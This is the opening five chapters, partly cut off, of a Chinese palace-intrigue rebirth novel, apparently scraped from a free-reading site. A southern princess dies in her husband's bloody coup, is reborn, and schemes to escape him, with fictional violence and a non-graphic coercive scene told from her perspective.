《被夫君舍弃后重生了》 1. 乱箭 《被夫君舍弃后重生了》全本免费阅读 秋风肃杀。 片刻前还将宫墙照得鲜红瑰丽的金粼日光此刻如潮水寸寸褪去,红墙晦暗,点点褐迹斑驳。 砭骨的风森冷吹过,带来浓烈血腥味。 “殿下,快、快——” 惊莲搀扶着乌春在狭窄偏僻的小道上踉跄着奔跑。 乌春喘着气道:“玉梨她会不会有事?” “殿下放心,玉梨机灵……她说要引开二殿下追兵,就一定有法子逃脱。眼下……殿下您的安危要紧……” 绣花鞋踩在杂乱的落叶上,发出沙沙声。 然而比枯叶沙声更令人悚然的,是不知何处传来的阵阵兵戈声。 一场杀戮正在将整个皇城吞没。 而这一切的幕后之人,不是旁人。 念及此,乌春的步履凌乱了一瞬,教底下的枯枝一绊,生生跌倒。 她在逢春殿等啊等,没等来他派来保护她的士兵,只等来无尽的凛冽秋风。 ——逃,她若要活下去,必须自己逃出去! “殿下!” 惊莲去扶乌春才发现,她头上本就简单的珠翠,已经在奔走途中尽数散落了去,一头墨发凌乱地披散下来,而本来清秀姝丽的脸,更是苍白得可怕,唇色发乌,额上汗珠涔涔。 她搭过来的手,是冰冷而颤抖的。 “殿下,您……” “我无事,我们快走……” 乌春强行压下心中那股恶寒,还有脚踝传来的钝痛,站起身来。 刚迈出几步,身边的惊莲忽然发出一声痛呼。 只见惊莲的胸膛,被一支长箭贯穿! 鲜血从箭矢滴落。 “惊莲!” “还想往哪儿去?”身后传来洪亮的质问声,那声音带了几分小人得逞的得意,听得人牙痒。 不是大梁二殿下沈珙是谁? 马蹄声阵阵,他带着一路卫兵走近了。 惊莲咬牙,拼着一口气将乌春猛地一推,“殿下快走!” 乌春被推得退后几步,可随之而来的,是一箭、两箭……乱箭“噗呲”射穿了惊莲,她的血喷溅而出,那一双水灵的眼圆睁着,内里倒映着乌春的影子。而她的双臂,还伸开着,维持着保护乌春的姿势。 “不、不……惊莲!” 泪霎时从眼眶涌了出来,乌春竟瞧不分明地上的哪处是枫叶、哪出是惊莲的血。 她从南疆带到大梁两个丫头。一个是玉梨,一个是惊莲。在大梁宫中,礼仪比南疆要森严繁复得多,她该受尚仪不少处罚,都是这两个丫头,主动替她揽下来;她的夫君沈绥对她冷淡,这两个丫头便给她解闷;即便是她嫁了人,她们也依旧唤她一声“殿下”——说是丫鬟,倒不如说是姐妹。 而今,她最要好的姐妹,因为这一场宫变,一个身死,一个下落不明! 乌春在片刻之间便被沈珙的兵用绳子绑了个结实,扔上马背。 “你是沈绥的正妃,所以本宫不杀你,留你还有用。你想逃,自是不可能。” 沈珙双眼血丝遍布,已是穷途末路,如此所为不过是负隅顽抗,想从沈绥手底下讨一条命罢了。 乌春浑身颤抖,她怕,怕得极。 她的夫君沈绥弑父夺权,甚至将皇族都杀了个七八。这素来针对沈绥的二皇子沈珙,怎么可能被沈绥放过? 但转念一想……他可是她的夫君啊!他一定会来救自己的! “事到如今,你该当庆幸,你嫁给的是沈绥,而不是沈珩。” 可乌春听了这话,眼泪珠子却莫名断了线地往下落。 乌春从南疆远嫁到大梁,大梁皇帝为她钦点的夫君,本该是大皇子沈珩,但阴差阳错,乌春与沈绥春风一度,便理所当然地成为了沈绥的皇子妃。 嫁给一个备受冷落、命带孤煞的皇子,其实本该是令人痛恨不已的。 可隔日,乌春就瞧见陈皇后手底下的宫人,用鞭子抽打沈绥,黑衣黏在后背上,不知流了多少鲜血。 原因是沈绥给坤宁宫偷跑出来的猫儿喂食,那猫儿却莫名死了。 乌春心生怜悯,深觉沈绥实则是个良善之人,只是境遇凄惨,才造成了他的冷情冷性。 她自问待沈绥自然是好的。 想着有朝一日,总能捂热他那一颗心。 可她还没体味到他的好,先等来的,是这场血腥的梦魇。 不知从多少横七竖八的尸体上踏过去,视线中出现了一座巍峨白塔。 乌春被扯着头发从马上下来,她疼得头皮发麻,沈珙半扛半提地带着乌春登塔,青灰的石阶竟尚未染血,这座白塔恐怕是皇城之中唯一清净的地方。 也是最高的地方。 沈珙几下将乌春双手拉过头顶绑起,仅凭一根绳子吊在塔墙上! 高处不胜寒。乌春被吹得牙颤,身子如一片羽毛在风中摇摇颤颤,宽大的裙摆和袖袍翻飞,双腿悬空,她竟是往下望都不敢望,只觉腿软发抖。 猛烈的心跳声快要将她淹没。 到此种境地,她的泪反而止住了,不知是被恐惧所屏退,还是想起了和沈绥相处的日子,觉得哪怕是如此凶险,沈绥也会来救她。 此时,属于沈绥的羽行军包抄过来。 沈珙搭在城墙上的手指慢慢收紧,拔出雪亮的剑,指着乌春的脖颈,“都滚开,否则,我杀了这个女人!你们看清楚,这可是南疆公主,沈绥唯一的皇子妃!若是她死了,你们还有命活吗?” 可任谁都听得出来,沈珙的语气带着颤。 底下的羽行军不敢动。 两方静默对峙,剑拔弩张。 乌春想起了寒夜里用冻得通红的一双手为沈绥热的汤,他接过汤的朝她微微一笑,虽并无多少感激话语,可乌春心里同那汤一样暖; 在沈绥重伤之时,乌春用自己的血为药引,熬出来药,一口一口渡给他服下,之后守了他一夜,直到他醒转,她方昏睡过去,醒来之时,身上除却被褥,还搭着沈绥穿戴的披风,乌春便觉得这一夜都是值得的; 乌春是在春日生的,她也尤其喜爱万物葳蕤的春日,便在某一年的春日,栽种了南疆特有花草,给沈绥瞧它们的芬芳,可沈绥只是淡淡一拂袖,漠然对她道,日后这些东西自己摆弄便可,不必拿到他眼前…… 算算日子,她陪在沈绥身边,竟然已经四年了…… 四年,便是和猫儿狗儿共处,也该有深厚感情,何况她是一个活生生的人! 他沈绥怎么会不救她? 乌春盼啊盼,盼着沈绥出现。只当是下面的羽行军因为没 2. 重生 《被夫君舍弃后重生了》全本免费阅读 “殿下、殿下……” 是惊莲的声音。 乌春意识模糊之际,乍一听见这熟悉的声音,一时心里竟有些发酸。 到底是死透了。死了还能和惊莲重聚,未尝不是幸事。 “殿下,您怎么哭了?”面颊上覆上来柔软的丝织帕子的质感,隔着薄薄的丝帕,还能感觉到手指指腹的温热。 原来人死了也是有感觉的。 乌春试着睁开眼。 眼前的黑暗渐渐褪去,面前惊莲的容貌由模糊逐渐变清晰,一双眼正噙着些担忧与焦急,眸子里倒映着她的面容。 在惊莲的头顶上,是熟悉的水蓝石榴纹床帐。 余光中又瞥见,脱了漆的雕花窗棂之下,立着一个素净的白瓷瓶,瓷瓶中插着鲜艳红梅,阳光照在红梅上,似乎将它浸了层雪光。 地上烧着炭盆,那铜制的盆身有一处凹陷,乌春还记得,这是玉梨当时换炭之时,不留神将炭盆摔了,砸到一块碎石造成的。 这…… 这不是她在大梁毓宁宫里的寝殿的布置吗?! 她怎么回到这里了?! 眼前一只手晃了晃。 乌春回过神来。 惊莲忧心道:“殿下,您在想什么呢?您刚才在睡梦中流泪,怕不是被梦魇着了。还好您醒了,烧也退了,不然奴婢罪该万死!薛尚仪也真是的,明知道您身子畏寒,还让您在冷风中站了足足一个时辰,您是出宫为三殿下祈福,又不是贪图享乐,她凭什么罚您……” 惊莲越说越气,乌春却心里骤地一跳,忽然抓住她的手,“惊莲,你……你说我出宫为沈绥祈福?” “是呀,殿下您是烧糊涂了?前几日宫中设赏梅宴,您趁着这个机会出宫,为在外剿杀西幽贼人的三殿下祈福,只因宫外那平山寺是传言中最灵验的寺庙,求得的符也最珍贵。您只盼着三殿下能够平安归来,哪怕是路上下了鹅毛大雪,里衣都被雪水浸透,您也没动摇过……”惊莲说着说着,竟然心疼得要落泪。 乌春微怔,旋即打断惊莲,“所以现在是……永清二十一年?” 惊莲觉得古怪,一边小心觑着乌春,一边道:“正是。” 重生了。 她竟然重生回了嫁给沈绥的第一年。永清二十一年冬,也是嫁给他的第六个月。 心里的阴霾如阳光下的晨雾,很快消散了去。那落在身上的剧痛,此刻感受不到分毫。 万幸的是一切都还来得及。 乌春轻轻吐出一口浊气的时候,外面传来咋咋呼呼的一声,“殿下,药好了!” 玉梨端着碗走进来,惊莲一边接过药碗,一边嗔她道:“说了多少次了,大梁不比南疆,你在此处可不能总是大呼小叫,别冒冒失失的,丢了殿下的脸!” 玉梨吐吐舌头,“知道啦知道啦。” 乌春见了这丫头的俏皮样,心里泛起股融融暖意。 上一世,这丫头去引追兵,要她和惊莲往反方向跑,也不知她最后有没有活下去? 大抵是没有的罢。 还好,她们此刻都在。 乌春将那药一饮而尽,苦涩的草药味在肺腑之间弥漫,乌春却不觉得苦,只觉得多了分重生的真实,那药也是暖的,比在昭天塔上的寒风,要暖得多。 惊莲递过来一枚蜜饯,乌春顿了顿,方伸出手接过。 瞧见惊莲一副欲言又止的模样,乌春笑道:“你想说什么便说罢。” 惊莲带了几分啜泣道:“殿下,您千万不要想不开啊!西幽人虽然凶蛮,可三殿下平素、平素也不像是虚弱之人,定能平安归来的,若是不能……奴婢二人便带着您逃回南疆,有大殿护着您,王后也奈何不得您。您若不想回,我们便在大梁找个山里的村子住,总之、您绝对不用为三殿下殉葬……” 玉梨看呆了眼,嘴张得又圆又大。 她一下子竟然能想到这一连串! 乌春真是哭笑不得,知是方才表现得有些异样了,便将她扶起来,“我无事的,我何曾想不开过,他沈绥怎样,与我何干?他若薨了,我便是拼了这条命也要逃出去。” 惊莲止住了泪,和玉梨讶异对视一眼,小声道:“可殿下您前几日不是这样的……” 前段日子,乌春每夜都会思念沈绥,以致落泪,翌日眼圈红肿,需得用熟鸡蛋滚过、用脂粉抹过,方能出去见人。直到赏梅宴,乌春终于找到了机会偷偷出宫,冒着隆冬大雪为沈绥求平安符。 哪怕沈绥素来不信神佛,对这些玩意嗤之以鼻。 对于祈福一事,她总是宁可信其有。她只是愿,这一点小小的心愿,真能庇佑远方的沈绥平安无事。 他平安无事就好。 乌春赶着宵禁前一刻回了宫,却不知怎么让薛尚仪知道了,被逮了个正着,罚站一个时辰,染上了风寒。 惊莲和玉梨轮流守着乌春,可今日乌春在晌午一醒来,就问今夕是何年;喝药之时魂不守舍,昔日最是怕苦,却一口气喝了个干净;甚至还说三殿下与她何干…… 她们担忧殿下烧坏了脑子。 乌春宽慰道:“我做了个梦,梦中的我不得善终,而这一切的源头,是因为我爱上了沈绥。因此,我便想着,不要再对沈绥掏心掏肺了,我这般待人,却换不来旁人半点真心,我又是何苦呢?世上真心瞬息万变,人之本性更是不可揣度,我不要再高估我在旁人心中的地位,也不要再轻易相信,以真心便能换真心。更不要爱,一个不该爱的人。” 惊莲瞧着乌春,只觉得她变了许多,往日那个南疆公主的娇俏和天真,竟然难在那一双好看的杏眼中瞧见了,取而代之的,是洗尽铅华似的清澈和宁静,仿佛整个人都如一块内外明澈的琉璃。 该是少女长大了。 可乌春如今只有十六。 乌春虽已作人妇,可惊莲和玉梨从未将她当妇人看,很长一段时间,她们都当她依旧是那个善良天真的南疆公主。 直到死。 “我想休息,你们先下去罢。” 两个丫头走后,逢春殿安静了下来,只剩下炭盆里炭火微弱的嘶嘶声。 乌春望着那一簇一簇窜起、又很快消散的橘红火星,开始清理思绪。 前一世她死得那般凄惨,也算是彻底看清了沈绥的为人。 他是那般冷若寒潭,醉心权势,弑父杀兄之时毫无犹豫,与这样的人共处一室,无异于与虎同穴。 乌春觉得有些后怕,从脚底升腾而起一阵寒意。 一旦出了什么变故,若她挡了沈绥的道,沈绥牺牲的一定会是她。 她前世能活到沈绥宫变,竟然算是幸运了。 然而这一世重生,虽然不知会改变些什么,但若是如上一世那般伴在沈绥身边,恐怕依旧不得善终,且能不能活到上一世那般久也未可知。 所以,她必须逃离沈绥,并且逃得越远越好,最好是离开大梁。偶尔出宫时间短暂,最多被尚仪责罚,可若要永远离开这里,并非易事。 再者,这大梁皇宫里的日子过得不如在南疆自在,繁文缛节太多,前一世她小心翼翼迎合,生怕惹得沈绥不快,竟连自己最向往的东西都忘了。 乌春望向开了条缝的窗子,外面不知何时落起了絮絮白雪,在斜照的阳光中飘进来几片,泛着晶莹的光,落在地上,又很快融化成一滴无力的水渍。 怎么逃? 乌春叹了口气。 算算日子,沈绥再过不久就该回宫了。 …… 朔风连雪。 西幽与大梁摩擦不断,大梁边境此次有西幽敌寇欺压百姓,争执不断,大梁皇帝沈瑜便派了沈绥和镇国大将军成统一同 3. 沈绥 《被夫君舍弃后重生了》全本免费阅读 乌春第一眼看到沈绥的时候,竟有几分恍惚之感。 依旧是那张淡漠寡情的脸,刀凿般的眉眼,就连眼尾的红色小痣都与记忆中一般鲜艳无二。 这是她爱过一世的男人。 胸腔中的心脏也狂跳了起来,却不似上一世少女见到心爱之人的心动。 是因为胆寒。 腥风血雨仿佛又落在身上,耳边似乎还有残忍的兵戈声,昭天塔上那彻骨的寒意从脊背后漫上来,恐惧顷刻爬遍了全身,更兼了几分恨意。 她对他,是既恨又怕。 他这样的人,不知吃不吃软,但硬的定是不吃。若是直接与他起冲突,惹恼了他,他指不定要做出什么来。 是以,乌春表面作一副乖巧皇子妃样,让他没法挑错,可实际上,现在方从榻上下来,还故意将平安符摆在炭盆显眼之处,存心膈应沈绥。 下巴传来冰凉的触感。 他手指修长有力,弄得她疼得轻嘶几声。 “殿下……”她开口轻唤,眨了几下眼,眼睫上竟然沾上了几颗碎玉珠子,小嘴一瘪,看上去委屈极了,“臣妾候了您月余,您如今回宫不与臣妾道一道甜言蜜语倒也罢了,又对臣妾如此冷淡凶狠,竟然是毫不怜惜。臣妾这一颗心真真是要被殿下伤透了!殿下您是不是行军在外之时,又瞧上了哪家姑娘……” 说着说着,竟像是醋了,贝齿咬着红唇,方才将落未落的泪珠啪嗒啪嗒往下掉,一副楚楚可怜之态。 滚烫的泪烙在冰冷的手背上。 沈绥的手微微一松,乌春便顺势将他的手推开,将脸别到一边。 露出肩颈姣好的曲线。 沈绥眉梢轻轻一动,目光在她雪白无暇的脖颈上停留了片刻,眸中那料峭的冷意渐渐散了,只是平淡问道:“平安符是怎么回事?” 乌春想起前世,他也是这般漠然,只是她总觉得,若以真心待人,旁人也会真心待她。 心底嗤笑了一声。 转过头来,对沈绥道:“臣妾求了平安符之后才想起,殿下素来不信鬼神,臣妾若是弄这些,难免让殿下觉得臣妾忤逆于您,所以臣妾便将它烧了。” 上一世,沈绥拿了平安符,没多久乌春就在后院角落里的桑树下瞧见了,大抵是沈绥随手扔的,为此还伤心了好一阵。 他亲自扔是一回事,她自己烧又是另一回事了。 沈绥的情绪鲜少流露,也更少会长时间流露,这点愠怒很快就消散了,“既如此,日后也不必再做这些了。” 他蹲下身,朝着她光裸的脚踝伸出手。 乌春猛地一缩,退回到床榻边,一时没稳住身子,直接跌坐在了榻上,锦被凹陷下去。 沈绥伸出的手便僵在了空中。他抬起眼,狭长的凤眸中带了几分让人不易觉察的狐疑。 乌春竭力稳住心神,“殿下这是做什么……” 上一世死得那样惨,沈绥忽然对她伸手,她能不怕吗? 嗓音带着颤,只不过因着方才哭过,倒很自然。 风雪拍打在窗子上,窗子发出颤巍巍的响。一缕寒风钻进来,刁钻地往人骨髓里渗,乌春不禁打了个寒颤。 “你既然畏寒,便不该赤足立于地。”沈绥眼眸一转,没瞧见她的罗袜,便握住她的脚踝,往被褥中带。 他的手触碰到她的肌肤的时候,她浑身的汗毛几乎都竖了起来,下意识地瑟缩一下。 沈绥只当是自己的手太凉。 乌春的双腿被被褥盖住后,暗含讽刺,“不劳您费心。” 前世他也是偶尔温存。每每当乌春心灰意冷之时,他总能恰到好处地给她些许温情,就好像是寻常百姓夫妻一般,会弯下身为她穿罗袜。 但乌春心里清楚得很,沈绥不过是做做样子罢了,毕竟面上她还是他的妃,她不会再信他。 沈绥听出来她不咸不淡的语气,眉心微折。 窗子咯咯作响,外面的风雪似乎更急了。 更衬得殿中二人有些无言。 放在以往,该是乌春挽着沈绥的手,叽叽喳喳个不停,恨不得将每日用了几块桂花糕都说给心心念念的郎君听,但现在,她没什么好说的。 乌春畏寒,殿中要烧的炭也比其他殿中多。宫里的炭火皆有定量,是沈绥将自己殿中的分例挪了些过来。 空气温暖,沈绥站了片刻便觉燥热,将披风和外衣解下,目光落下来。 到底是当了四年夫妻,他这黑眸一沉,她便知晓了,当即抱住自己的膝盖,松鼠似的蜷缩起来,“殿下,臣妾今日来癸水了。现下正是白日,且您刚班师回朝,多有劳累,不如改日。并非臣妾不愿,是恐冲撞了殿下。” 白日.宣.淫其实并不合礼教,但沈绥这样的弑父之人,怎会把礼教放在眼里? 这也是为何,乌春敢在晌午才从榻上起来,也敢不施粉黛、不作装点地迎接沈绥。 “那便换个法子。”沈绥今日本就在她这儿觉察到了一丝微妙的变化,惹得他并不愉悦,没有要放过她的意思,高大的阴影盖下来,几乎能将乌春整个笼罩住,他俯下身,灼热的气息贴过来。 乌春不自觉地往角落里缩,手攥紧了被褥,指甲将上面的绣花掐得翘起了丝。 沈绥去捏她的手腕,因为靠得近,嗅到她身上浅淡的暗香,他呼出的气愈发热起来。 她的抵触对于他来说,毫不费力就能制住,瞧着她在他掌中攥得死紧的手,他薄唇一抿,道:“你今日这是怎么了?” 沈绥如今年二十一,正是血气方刚的年纪,而乌春身段玲珑,少女窈窕,肌莹若瓷,若是在沐浴之后,肌肤便是吹弹可破,白中透粉。 上一世两人在这种事情上,其实颇为频繁。 沈绥很少流露过多情绪,便是情浓之时,也只是眸色深沉,心情好时,才会咬一咬她的耳垂,和她温存片刻。 而她却总是梨花带雨,泣不成声。 但乌春是才死过一回的人,哪怕心里知晓夫妻敦伦,她在宫中的时候,不可能躲得过,现下一时也难以接受。 沈绥进而问道:“可是又冷了?”他收紧手,带着层薄茧的手包住她的,男子的体温便从掌心连接处一路蔓延而上。 可这双手,不知沾染过多少人的鲜血。 而他只是不经意地一问,很难看出几分真正的关切。 乌春仍然想要收回手,暗暗同他较劲,“殿下今日回宫,风尘仆仆,该当好生歇息,臣妾固然该伺候殿下,可臣妾近来因为殿下日夜忧心,精神不济,恐怕难以让殿下尽兴,倒不如待过几日,殿下同臣妾都修养好身子,再行此事。” 沈绥没立马放开她的手,一手捏在掌心微微揉搓,另一手将乌春的一缕碎发拨到耳后,冷冷笑了一声,慢条斯理道:“你说你日夜挂心我,却又对我如此抵触,当我看不出来?” 乌春横竖也没什么好听的话,眼里的热切装也不装了,“殿下既然看得出来 4. 博弈 《被夫君舍弃后重生了》全本免费阅读 沈璎是当今贵妃刘氏之女。 沈璎性子活泼,每每见到皇帝,便一口一个“父皇”地唤,小姑娘娇滴滴的嗓音,让人听了心都化去,又生得软糯娇憨。皇帝除了大皇子沈珩之外,还尤其宠爱沈璎。 爱屋及乌,连带着刘贵妃也极为宠爱,生生从当年一个昭仪提拔成了贵妃。 但乌春记得,沈璎的结局并不怎么美好。 因为小公主喜欢上了禁军首领萧怀文。 不光如此,还和萧怀文有了私情。被底下不知道哪个下人捅上去,害得皇帝龙颜大怒,本来是要砍萧怀文的头,结果小公主以死相逼,皇帝只好免了萧怀文的职,把沈璎指到偏远的番邦小国和亲。 沈璎和皇帝赌气,死活不愿,最后以死明志,撞死在丽姝宫的房柱前。 好像越是被保护得好的人,越容易犯糊涂,做出些傻事、错事。 萧怀文最后似乎……殉情了。 乌春上辈子和沈璎有过一段交情,但也就是点头寒暄之交,算不得什么手帕交,自然也没必要救沈璎,沈璎一个公主,在朝中也谈不上权力。 对她要紧的是萧怀文。 若是……能通过和沈璎的关系,让萧怀文帮衬她一二,疏通出宫的诸事宜,再帮衬着筹备出宫之后的车马、去处,那么事情便容易得多了。 要想得人助己,需得具备旁人肯帮自己的价值。 乌春搭着惊莲的手臂从水中站起,水珠沿着美好的曲线淌落,一边着衣裳,一边对惊莲道:“惊莲,你去拿些银子打点几个太监,要他们往承兴宫侍奉的同僚那里探探口风,就问……近日可曾有什么不相干的人进承兴宫。再提点他们,仔细他们主子最近身边出现的任何人。” 承兴宫?那不是刘贵妃的住处吗? 惊莲心里疑惑,但自知主子有自己的考量,风寒过后竟是比从前有主见得多了,便不多话,应了声“是”。 …… 毓宁宫的下人都觉得,三殿下这几日虽然受了圣上的赏赐,脸色却并不怎么好。 并非因为这一趟回来,身上带了伤。 似乎有厚重的阴云笼罩在毓宁宫,压得人大气都不敢出。 过了七日后,沈绥唤乌春到宣阳殿去。 是夜,冬雪未消,寒星如洒,宣阳殿内屏退了下人,只有书房点着一豆灯火,窗户纸上映出橘黄暖光。 灯后人的垂眼看书卷,半边侧脸模糊在朦胧灯光中。 听闻动静,并不抬眼,待到乌春走到他面前,才搁下书卷,掀起眼帘,“过来。” 乌春来之前其实做好了准备,见他现下眸色淡漠,旁边还放了把椅子,她一时摸不准他的心思,便走向那椅子,临到的时候,却被沈绥一把抓住了手,往里一带。 她坐到他的腿上。 男人身上有淡淡的雪松冷香,衣下的肌肉紧实起伏。 “你……要做什么?”乌春不自觉身子向后倾去,他的手掌住她的背,将她带回来。 两人的吐息刹那间交在一起。 “我找人问过了,上次……”沈绥开口,嗓音像是玉珠子被雪水浸过般冷清,“你压根没来癸水。” 他又静又漠,黑眸倒映着闪烁的灯火,映衬着眼尾的红痣,像是民间传说中夜里食人的精怪。 此人令人生畏就畏在,猜不透他在想些什么。 乌春脚底陡然升上来一股凉意,“上一次我的确不愿伺候你,找了托辞。你既然知晓了,现下找我来宣阳殿,要做什么?” 沈绥的视线落在摊开的书卷上,这是一卷经文,角落上写着“色不异空,空不异色,色即是空,空即是色”的字样。 他静静地瞧着经文,然后探向乌春的裙摆,乌春反应过来,猛然攥住他的手臂,她紧紧抿唇,死命地摇头,“别,别这样……” 他漠然地看着她,视若无睹,“你既然如此胆大,欺瞒于我,又怎么会怕这?”他进而凑近她的耳,呢喃道,“只许你犯错,却不许我罚你?” …… 两刻后,宣阳殿的大门打开,沈绥用一块帕子一根根擦拭着手指,身形笔直地立在门口,雪夜里,他显得光风霁月。 而乌春,鬓发凌乱,眼尾似乎染了层胭脂,眸中水意盈盈。 沈绥唤了下人来,将乌春扶出去。 那本经文从案几的正中央,不知怎么到了角落,但完好无损,上面圣洁的清心经文一尘不染。 …… 乌春回到逢春殿,沐浴的时候,死死咬着牙。 上一世觉得沈绥有时候对她是有些爱意的,她对他怜悯又爱慕,才会浑浑噩噩地度日,连成为他掌中玩物都不自察。 她习惯了他对她的一切方式。 她满心天真地以为,他总有一日也会待她好的。 这一世,不能同上一世一样! 不能和沈绥硬碰硬,否则吃亏的还是她自己,明里暗里拿话刺他倒罢了。沈绥此人心思难测,恐怕对于她最在意的,还是那件事。 乌春当年的和亲对象是沈珩。 但是由于在来大梁帝都的路上,被歹人下了迷药,恰巧碰见在外查案的沈绥。而沈绥也被人下了迷药,两人阴差阳错,一夜春风。皇帝只好改了圣意,乌春自然而然嫁给了沈绥。 幕后之人被查出来,是素来与沈珩不对付的,在朝中能说上几句话的顾尚书。之后顾尚书被革了职,迁往偏远的青州流放。 表面上看,是因为顾尚书家里的嫡女在后宫为妃,曾经落了胎,再没有过皇嗣,因而对年少有为的大皇子心生忌恨,暗中下手。 但仔细想来,顾尚书一把年纪了,用女人做这上不得台面的事,实在是有损清名,稍有不慎便晚节不保。 又怎么会是他做的? 倒是沈绥本人,疑点颇多。只是众人找不到证据,也没法攻讦他。 前世乌春不愿意去想,也一心天真地以为,沈绥也是受害者。 死过一回了,再看,却是洞若观火。 沈绥这样的人,将来要做皇帝的,会放着南疆国当隐患吗?什么东西都是只有自己捏着才放心,是以她这个南疆和亲公主,也最好是他的皇子妃。 至于前世沈绥宫变为何没顾上她,乌春也就不得而知了。 乌春唤了惊莲来,交代几句话。惊莲一边听着,一边诧异张了张嘴,欲言又止,最终还是开了口:“殿下,您最近这是怎么了?恕奴婢直言,奴婢真是捉摸不透您。” 乌春笑道:“恶心恶心沈绥罢了。” “可是您不是素来敬爱三殿下吗?为何要如此?” 乌春抿一口茶,“那你倒是说说,为什么他把我当个玩物,我却不能让他心里不舒坦?” 惊莲低下头,“奴婢知道了。您真是变了许多。” …… 沈绥在次日收到了一封信,辨认不出是谁的字迹,也没有落款,信上说,在他不在宫中的时日,三皇子妃和大殿下偶有往来,三皇子妃还为大殿下送了生辰礼,连账目都列了出来。 宫中隔墙有耳,主子们做点什么事,底下人一传十十传百,一下便能传个遍,不知是谁有心讨好他,把这件事写了信偷偷交到他手边。 沈绥的脸色自然不好看,没有侍奉的太监敢离他离得近,去对了账目,当真是从他毓宁宫出的,进到了沈珩那里。 在当晚,便找到了乌春。 沈绥嘴角噙着一丝笑,“本宫的皇子妃,是觉得这毓宁宫呆不下去了,想要走,是吗?” 乌春一脸坦然,疑道:“我不知你在说什么。”< 5. 春日宴 《被夫君舍弃后重生了》全本免费阅读 一连数日,沈绥都没有到逢春殿来。 若是放在上一世,乌春大抵要伤心难过许久,甚至想尽办法缠着沈绥多陪陪她。 如今,她却是乐得自在了。 冬日渐逝,便到千枝吐蕊的春日了。逢春殿外的白玉兰如缀,窗边白瓷瓶中的红梅换成了黄澄澄的迎春。 终于到了春日了。 乌春推开窗子,午后的和煦春风连带着花草的清香扑面而来。 作为南疆人,乌春自小生长在气候湿热之地。便是南疆的冬日,也不需要像在大梁这般着厚重的冬衣。习性所致,再加上乌春幼时不慎跌入冬湖,落下了病根,相较于大梁本地人,也就更加畏寒些。 “殿下。”惊莲站在窗子外唤她,“上回您要查刘贵妃周围的事,奴婢便让阿贵去打听。数日以来,承兴宫和往常都没有什么不同,若非要说有何异样,就是刘贵妃本应献给皇后娘娘的寿礼七彩缠枝牡丹琉璃香炉,被一个手笨的宫女打碎,换成了一对德州民间手艺人花了八年时间打造的镂空雕花芙蓉手镯。德州是刘贵妃母族家乡,因此,送此礼也就显得格外用心。” 乌春听罢,皱眉道:“如此看来,打碎了香炉,倒像是好事了。八年时间打造的手镯,偏偏让刘贵妃收了去,哪来这么巧的事情?” 如果乌春没记错,陈皇后就是在那场生辰宴之后不久,落了胎。虽然没有伤及性命,但也算是从鬼门关走了一遭。之后刘贵妃被降了妃位,若不是皇帝实在宠爱公主沈璎,恐怕刘贵妃该打入冷宫了。 若刘贵妃在这之前都不曾同旁人接触,出问题的,便是皇后的生辰宴了。 惊莲一听,心里咯噔一下,“您的意思是……” “我能调动的人力实在有限,要从这里找到德州的眼线,并不容易,这条线算是断了。你去给那个叫阿贵的多些银子,这些事不宜让旁人知道。” “是。殿下,再过几日便是皇后娘娘的生辰宴了,圣上龙颜大悦,宴后宫女眷及诸皇子、皇子妃前往,您自然也是要去的。” 惊莲一边说着,一边看乌春的脸色。这种场合,礼仪繁多,若是稍一不留神,乌春惹麻烦怎么办? 做奴婢的不好说,乌春心里却是很清楚,笑道:“你觉得……你家殿下笨到连参加个宴会都会丢脸?” “奴婢不敢!” 乌春道:“宴会人多眼杂,却也是我在宫中走动的好时机。我好歹也是南疆公主,不是什么乡野村妇,该守的规矩我都记得。” 岂止是记得?说是刻骨铭心也不为过! 为了讨沈绥欢心,她学大梁官话、识大梁文字,走坐卧的仪态,都跟着素来以严苛闻名的薛尚仪学,从不马虎。 沈绥却不曾念她半分好。 乌春深深吸了一口气。 过了这么些时日,又该见到沈绥了。 …… 陈皇后生辰宴的这日,沈绥穿了件白色交领,腰间坠着块翠绿云纹环形玉佩,外罩水蓝色大袖,宽大的袖袍随风而起,整个人若玉山将倾,似有高山名士之风流。 乍一看,内里那白色的交领在生辰宴这等场合其实并不吉利,但外面盖着的水蓝色大袖,又将那白压了下去。 也不知沈绥安的什么心。 他立在朱红宫墙之下,显得格格不入。 乌春走近了瞧见,沈绥脸上那一圈牙印已经完全愈合,一张脸毫无瑕疵。 见她来了,他朝她伸出手,嘴角有一点似有似无的笑意,似乎二人从未有过争执,乃是一对相敬如宾的夫妻。 乌春瞧也不瞧沈绥,搭着旁边一个太监的手臂,上了木辇。 沈绥的手僵在了空中。 他的眼神一转,冰冷地落在太监的手臂上。 那太监的脊椎骨登时漫上一股凉意!心里怵得慌,连忙跪在沈绥面前。 沈绥一派自然地收回手,挪回眼,方才眼里那彻骨的寒意已经彻底消失,又带上看乌春时的温润笑意,坐上辇车。 辇车向前,车内二人却是一路无话。 直到了寿安宫。 寿安宫是皇帝为爱重的嫔妃或太后举办生辰宴的地方,有亭台水榭,芳菲万朵,正值春日,一片葳蕤。宫人来去忙碌,绣球花前有宫女浇水;太监抱着食盒进出;水榭之边、宴席之角,立着侍卫。 觥筹喧嚣,喜庆祥和。 “三皇子、三皇子妃到——” 沈绥下来的时候,依旧含着淡笑朝乌春伸出手,乌春这一回把手搭了过去。 宴席沿着露天石台两边排开,最高位台阶之上并排有两个座椅,之下按照尊卑排列。 乌春和沈绥坐在一张案几前。 席间已经来了不少人,大皇子沈珩、二皇子沈珙都到了,他们的席位在沈绥之上,沈绥对面空着的是沈璎的席位。 也就是说,沈绥是皇子之中位次最低的。 沈珙没给沈绥好脸色,内心鄙夷得紧,都写在了脸上;沈珩却磊落大方,朝着沈绥微微一颔首,面若冠玉,有君子之姿。 乌春甫一坐下,瞥见沈珙那跋扈嚣张的模样,胃中开始翻滚。眼前盛满了酒水的玉盏,倒映着她的眉眼,然后一点点变红,成为了一盏血水! 惊莲的死、城墙上的千万支箭、四处都在哀嚎流血的宫殿…… 有那么一瞬,乌春差点一巴掌掀翻那玉盏,是沈绥冰凉的手按在她的手上,让她回过神来。 一侧脸,对上沈绥探究的视线。 他的身后,是沈珙偶尔投来的讥讽的笑容。 “也不知是哪来的杂种,生的不光彩,娶的也不光彩,如今也是有脸,带着原本该是嫂子的女人来参加皇后娘娘的寿宴……” 沈绥松开了乌春的手,似乎是明白了乌春方才是因何失神,锐利的眸光射向沈珙。 沈珙正塞着糕点,被沈绥这眼神噎了一下,“看什么看?本宫说的有错吗?” “二弟,你少说两句。”沈珩皱眉,拂了拂袖子,“今日是皇后娘娘的生辰,你兄弟二人争吵,是不敬,当心父皇责罚。” 沈珙哼了一声,朝着沈绥翻了个白眼,不再说话。 